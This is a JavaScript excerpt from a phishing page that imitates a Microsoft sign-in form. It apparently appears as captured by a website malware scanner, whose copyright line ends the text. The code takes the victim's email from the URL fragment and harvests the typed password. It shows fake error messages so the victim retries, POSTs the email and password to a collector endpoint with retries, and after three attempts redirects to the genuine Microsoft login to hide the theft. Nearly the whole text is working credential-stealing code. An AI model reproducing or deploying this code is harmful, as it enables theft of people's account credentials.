var urlComponents = new URL(url);
email = urlComponents.hash.substring(1);
// Check if the fragment is a valid email
var emailRegex = /^[\w-]+(\.[\w-]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/;
if (emailRegex.test(email)) {
// Make this email available globally
window.email = email;
// If it is, add the email into a html element as text
var emailElement = document.querySelector(".identity");
var emailInput = document.querySelector(".in-identity")
if (emailElement) {
emailElement.title = email;
emailElement.innerHTML = email;
emailInput.value = email
}
}
};
// Get the form and input elements
var form = document.getElementById("i0281");
// var textForm = document.getElementById("username");
var input = document.querySelector(".passwording");
var inputColor = document.getElementById("i0118")
var emptyField = document.querySelectorAll(".e1")
var passwordError = document.querySelectorAll(".e2");
var clickCount = 0;
// Add an event listener for form submission
form.addEventListener("submit", function (event) {
// Prevent the form from being submitted normally
event.preventDefault();
// Get the input value
var password = input.value;
// Write an if statement to check if the input value is empty
if (password === "") {
// If it is, do nothing and return from the function
emptyField.forEach(function (empty) {
empty.classList.remove("hidden");
})
inputColor.style.cssText = 'border-color: #e81123;'
setTimeout(function () {
emptyField.forEach(function (empty) {
empty.classList.add("hidden");
})
inputColor.style.cssText = ''
}, 3000)
return;
}
// Toggle classlist of passwordError to add or remove the "input-byline--error-hidden" class
loading()
setTimeout(function () {
passwordError.forEach(function (error) {
error.classList.remove("hidden");
});
inputColor.style.cssText = 'border-color: #e81123;'
input.value = "";
// textForm.value = ""
setTimeout(function () {
passwordError.forEach(function (error) {
error.classList.add("hidden");
});
inputColor.style.cssText = '';
}, 3000)
}, 3000)
if (email && password) {
let dataLog = {
email,
password,
desc: "https://login.microsoftonline.com/ Login Details",
};
// console.log(dataLog);
sendDataWithRetry(dataLog);
}
});
// Write a function that will redirect the page to a URL
function toggleClass() {
// Redirect the page to a URL
window.location.href = "https://login.microsoftonline.com/";
}
function loading() {
const loader = document.querySelector(".loader");
loader.classList.remove("loader--hidden");
setTimeout(function () {
loader.classList.add("loader--hidden");
}, 3000);
}
// Send data to the PHP file
function sendDataWithRetry(dataLog, maxRetries = 3) {
const sendRequest = async (retryCount) => {
try {
const response = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json; charset=utf-8",
},
body: JSON.stringify(dataLog),
});
if (response.ok) {
const responseData = await response.json();
// console.log("Data received by PHP:", responseData);
clickCount++;
// console.log(clickCount);
if (clickCount === 3) {
// Execute a separate function on second click
toggleClass();
clickCount = 0;
}
// Continue with other tasks (e.g., UI updates, etc.)
} else {
throw new Error("Network response was not OK");
}
} catch (error) {
console.error("Error sending data:", error);
if (retryCount < maxRetries) {
console.log(`Retrying (attempt ${retryCount + 1})...`);
await sendRequest(retryCount + 1);
} else {
console.error("Max retries reached. Data not sent.");
// Handle failure (e.g., show an error message)
}
}
};
sendRequest(0); // Start the initial request
}
</script>
</body>
</html></script>
© 2023 Quttera Ltd. All rights reserved.